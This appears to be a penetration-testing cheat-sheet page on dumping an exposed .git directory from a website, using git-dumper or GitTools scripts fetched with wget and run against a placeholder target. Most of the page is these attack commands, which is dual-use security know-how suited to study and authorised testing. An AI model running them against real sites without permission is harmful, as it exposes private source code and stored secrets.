Dump Git Repository from Website
Last modified: 2025-03-17
If we can have permission to access git repositoy in target website, we can dump the git repository and investigate git logs or histories to get sensitive information.
Dumping
Method 1. Git-Dumper
git-dumper is an useful Python package.
pipx install git-dumper
git-dumper https://example.com/.git ./dumped
Method 2. GitTools
GitTools downloads Git repository of the web application.
To dump the repository, execute the following commands.
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh
chmod +x gitdumper.sh
./gitdumper.sh https://example.com/.git/ ./example
We should get the git repository in local.
Then extract the entire project by executing the following.
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Extractor/extractor.sh
chmod +x extractor.sh
./extractor.sh ./example ./new_example
Now we retrieve the entire git project from website.
It is stored in “./new_example” folder. We can investigate the repository.
After Dumping…
If we succeed in dumping, we can investigate the repository with git command and get sensitive information. See Git GitHub Pentesting.